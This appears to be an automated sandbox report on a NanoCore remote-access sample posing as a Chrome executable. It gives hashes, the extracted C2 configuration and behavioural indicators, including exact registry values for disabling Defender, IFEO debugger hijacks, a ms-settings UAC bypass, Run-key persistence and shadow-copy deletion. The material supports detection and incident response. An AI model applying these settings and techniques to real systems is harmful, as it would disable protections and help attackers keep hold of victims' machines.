Analysis
- max time kernel
150s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
07/10/2026, 12:43
Behavioral task
behavioral1
Sample
socolive98.live_chrome.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
42 signatures
150 seconds
Behavioral task
behavioral2
Sample
socolive98.live_chrome.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
40 signatures
150 seconds
General
- Target socolive98.live_chrome.exe
- Size 57KB
- Sample261007-pyay2sy19r
- SHA256 6bf852eb97950e56afc6e13df32f44b475b7cb1b8809455d8d5ac5a844eb4753
- MD5 5a19327ced96ef08356eaed3b00bc69b
- SHA1 ff6579ccd1e44f5ea572bf7f25ba2caa2bf9b4a0
- SHA512 52f37c1796453866a6e0b64041390e2b0d544afaba4c3c187bd34533ed619a5500439f867440673d9a707a530a32ada425aa941926b62695c09ee04604cf4a00
- SSDEEP 1536:RVrzo1DSa8epQWgS+v43LXGb5feOT1uuh:vzo12atgSE43LXGFfeOT1uC
- TLSH T1B643E74477FD4151E1BF9EBA5DB191518732B8A7AC32C38E0A94068E19B3B40CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://socolive98.live
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://socolive98.live
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 3 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4532-0-0x0000000000490000-0x00000000004A4000-memory.dmp disable_win_def behavioral1/files/0x00070000000247e1-2265.dat disable_win_def behavioral1/memory/4532-2271-0x0000000002610000-0x0000000002620000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" socolive98.live_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" socolive98.live_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1616 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" socolive98.live_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts socolive98.live_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe socolive98.live_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe" socolive98.live_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe socolive98.live_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe" socolive98.live_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe socolive98.live_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe" socolive98.live_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2592 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation socolive98.live_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_165.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_97.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf socolive98.live_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf socolive98.live_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf socolive98.live_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe" socolive98.live_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe" socolive98.live_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe" socolive98.live_chrome.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3932 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe socolive98.live_chrome.exe File created C:\Windows\system32\sysupdate.exe socolive98.live_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe socolive98.live_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4456 wscript.exe 3856 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" socolive98.live_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" socolive98.live_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1232 sc.exe 2748 sc.exe 1500 sc.exe 5016 sc.exe 1536 sc.exe 5016 sc.exe 3984 sc.exe 2592 sc.exe 1520 sc.exe 4916 sc.exe 4232 sc.exe 4732 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2660 cmd.exe 1252 cmd.exe 2292 cmd.exe 884 cmd.exe 4656 cmd.exe 4588 cmd.exe 4800 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain socolive98.live_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname socolive98.live_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 312 NETSTAT.EXE 1296 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 436 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1856 vssadmin.exe 1160 vssadmin.exe 3308 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\Desktop\WallpaperStyle = "2" socolive98.live_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open socolive98.live_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe" socolive98.live_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings socolive98.live_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command socolive98.live_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open socolive98.live_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command socolive98.live_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings socolive98.live_chrome.exe Key created \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell socolive98.live_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\.pdf\ = "PDFBotnet" socolive98.live_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell socolive98.live_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open socolive98.live_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command\DelegateExecute socolive98.live_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet socolive98.live_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\socolive98.live_chrome.exe\" \"%1\"" socolive98.live_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell socolive98.live_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000_Classes\ms-settings\shell\open\command socolive98.live_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 372 schtasks.exe 4260 schtasks.exe 2788 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1616 powershell.exe 1616 powershell.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe 4532 socolive98.live_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4532 socolive98.live_chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1616 powershell.exe Token: SeIncreaseQuotaPrivilege 3828 WMIC.exe Token: SeSecurityPrivilege 3828 WMIC.exe Token: SeTakeOwnershipPrivilege 3828 WMIC.exe Token: SeLoadDriverPrivilege 3828 WMIC.exe Token: SeSystemProfilePrivilege 3828 WMIC.exe Token: SeSystemtimePrivilege 3828 WMIC.exe Token: SeProfSingleProcessPrivilege 3828 WMIC.exe Token: SeIncBasePriorityPrivilege 3828 WMIC.exe Token: SeCreatePagefilePrivilege 3828 WMIC.exe Token: SeBackupPrivilege 3828 WMIC.exe Token: SeRestorePrivilege 3828 WMIC.exe Token: SeShutdownPrivilege 3828 WMIC.exe Token: SeDebugPrivilege 3828 WMIC.exe Token: SeSystemEnvironmentPrivilege 3828 WMIC.exe Token: SeRemoteShutdownPrivilege 3828 WMIC.exe Token: SeUndockPrivilege 3828 WMIC.exe Token: SeManageVolumePrivilege 3828 WMIC.exe Token: 33 3828 WMIC.exe Token: 34 3828 WMIC.exe Token: 35 3828 WMIC.exe Token: 36 3828 WMIC.exe Token: SeBackupPrivilege 3768 vssvc.exe Token: SeRestorePrivilege 3768 vssvc.exe Token: SeAuditPrivilege 3768 vssvc.exe Token: SeIncreaseQuotaPrivilege 3828 WMIC.exe Token: SeSecurityPrivilege 3828 WMIC.exe Token: SeTakeOwnershipPrivilege 3828 WMIC.exe Token: SeLoadDriverPrivilege 3828 WMIC.exe Token: SeSystemProfilePrivilege 3828 WMIC.exe Token: SeSystemtimePrivilege 3828 WMIC.exe Token: SeProfSingleProcessPrivilege 3828 WMIC.exe Token: SeIncBasePriorityPrivilege 3828 WMIC.exe Token: SeCreatePagefilePrivilege 3828 WMIC.exe Token: SeBackupPrivilege 3828 WMIC.exe Token: SeRestorePrivilege 3828 WMIC.exe Token: SeShutdownPrivilege 3828 WMIC.exe Token: SeDebugPrivilege 3828 WMIC.exe Token: SeSystemEnvironmentPrivilege 3828 WMIC.exe Token: SeRemoteShutdownPrivilege 3828 WMIC.exe Token: SeUndockPrivilege 3828 WMIC.exe Token: SeManageVolumePrivilege 3828 WMIC.exe Token: 33 3828 WMIC.exe Token: 34 3828 WMIC.exe Token: 35 3828 WMIC.exe Token: 36 3828 WMIC.exe Token: SeDebugPrivilege 4532 socolive98.live_chrome.exe Token: SeIncBasePriorityPrivilege 4532 socolive98.live_chrome.exe Token: SeDebugPrivilege 312 NETSTAT.EXE Token: SeDebugPrivilege 3932 tasklist.exe Token: SeDebugPrivilege 4140 whoami.exe Token: SeIncreaseQuotaPrivilege 3380 WMIC.exe Token: SeSecurityPrivilege 3380 WMIC.exe Token: SeTakeOwnershipPrivilege 3380 WMIC.exe Token: SeLoadDriverPrivilege 3380 WMIC.exe Token: SeSystemProfilePrivilege 3380 WMIC.exe Token: SeSystemtimePrivilege 3380 WMIC.exe Token: SeProfSingleProcessPrivilege 3380 WMIC.exe Token: SeIncBasePriorityPrivilege 3380 WMIC.exe Token: SeCreatePagefilePrivilege 3380 WMIC.exe Token: SeBackupPrivilege 3380 WMIC.exe Token: SeRestorePrivilege 3380 WMIC.exe Token: SeShutdownPrivilege 3380 WMIC.exe Token: SeDebugPrivilege 3380 WMIC.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4532 socolive98.live_chrome.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 4532 wrote to memory of 1616 4532 socolive98.live_chrome.exe 85 PID 4532 wrote to memory of 4732 4532 socolive98.live_chrome.exe 87 PID 4532 wrote to memory of 1232 4532 socolive98.live_chrome.exe 89 PID 4532 wrote to memory of 3984 4532 socolive98.live_chrome.exe 91 PID 4532 wrote to memory of 2748 4532 socolive98.live_chrome.exe 93 PID 4532 wrote to memory of 2592 4532 socolive98.live_chrome.exe 95 PID 4532 wrote to memory of 1500 4532 socolive98.live_chrome.exe 97 PID 4532 wrote to memory of 5016 4532 socolive98.live_chrome.exe 99 PID 4532 wrote to memory of 1520 4532 socolive98.live_chrome.exe 101 PID 4532 wrote to memory of 2816 4532 socolive98.live_chrome.exe 103 PID 4532 wrote to memory of 1536 4532 socolive98.live_chrome.exe 104 PID 4532 wrote to memory of 4916 4532 socolive98.live_chrome.exe 106 PID 4532 wrote to memory of 1856 4532 socolive98.live_chrome.exe 108 PID 4532 wrote to memory of 3828 4532 socolive98.live_chrome.exe 110 PID 2816 wrote to memory of 3668 2816 fodhelper.exe 112 PID 4532 wrote to memory of 4456 4532 socolive98.live_chrome.exe 116 PID 4532 wrote to memory of 372 4532 socolive98.live_chrome.exe 118 PID 4532 wrote to memory of 4260 4532 socolive98.live_chrome.exe 119 PID 4532 wrote to memory of 2660 4532 socolive98.live_chrome.exe 125 PID 4532 wrote to memory of 4800 4532 socolive98.live_chrome.exe 127 PID 4532 wrote to memory of 4588 4532 socolive98.live_chrome.exe 128 PID 4532 wrote to memory of 4656 4532 socolive98.live_chrome.exe 129 PID 4532 wrote to memory of 884 4532 socolive98.live_chrome.exe 130 PID 4532 wrote to memory of 2292 4532 socolive98.live_chrome.exe 131 PID 4532 wrote to memory of 1252 4532 socolive98.live_chrome.exe 132 PID 4532 wrote to memory of 2788 4532 socolive98.live_chrome.exe 139 PID 4532 wrote to memory of 3856 4532 socolive98.live_chrome.exe 141 PID 4588 wrote to memory of 3932 4588 cmd.exe 142 PID 1252 wrote to memory of 312 1252 cmd.exe 143 PID 4800 wrote to memory of 436 4800 cmd.exe 144 PID 4656 wrote to memory of 4140 4656 cmd.exe 145 PID 884 wrote to memory of 2212 884 cmd.exe 146 PID 2660 wrote to memory of 1160 2660 cmd.exe 147 PID 2292 wrote to memory of 1296 2292 cmd.exe 148 PID 2212 wrote to memory of 1184 2212 net.exe 149 PID 2660 wrote to memory of 3380 2660 cmd.exe 150 PID 4532 wrote to memory of 5012 4532 socolive98.live_chrome.exe 151 PID 4532 wrote to memory of 3308 4532 socolive98.live_chrome.exe 157 PID 4532 wrote to memory of 1748 4532 socolive98.live_chrome.exe 158 PID 4532 wrote to memory of 2928 4532 socolive98.live_chrome.exe 160 PID 4532 wrote to memory of 2592 4532 socolive98.live_chrome.exe 163 PID 4532 wrote to memory of 4232 4532 socolive98.live_chrome.exe 164 PID 4532 wrote to memory of 5016 4532 socolive98.live_chrome.exe 166 PID 2928 wrote to memory of 4356 2928 net.exe 169 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
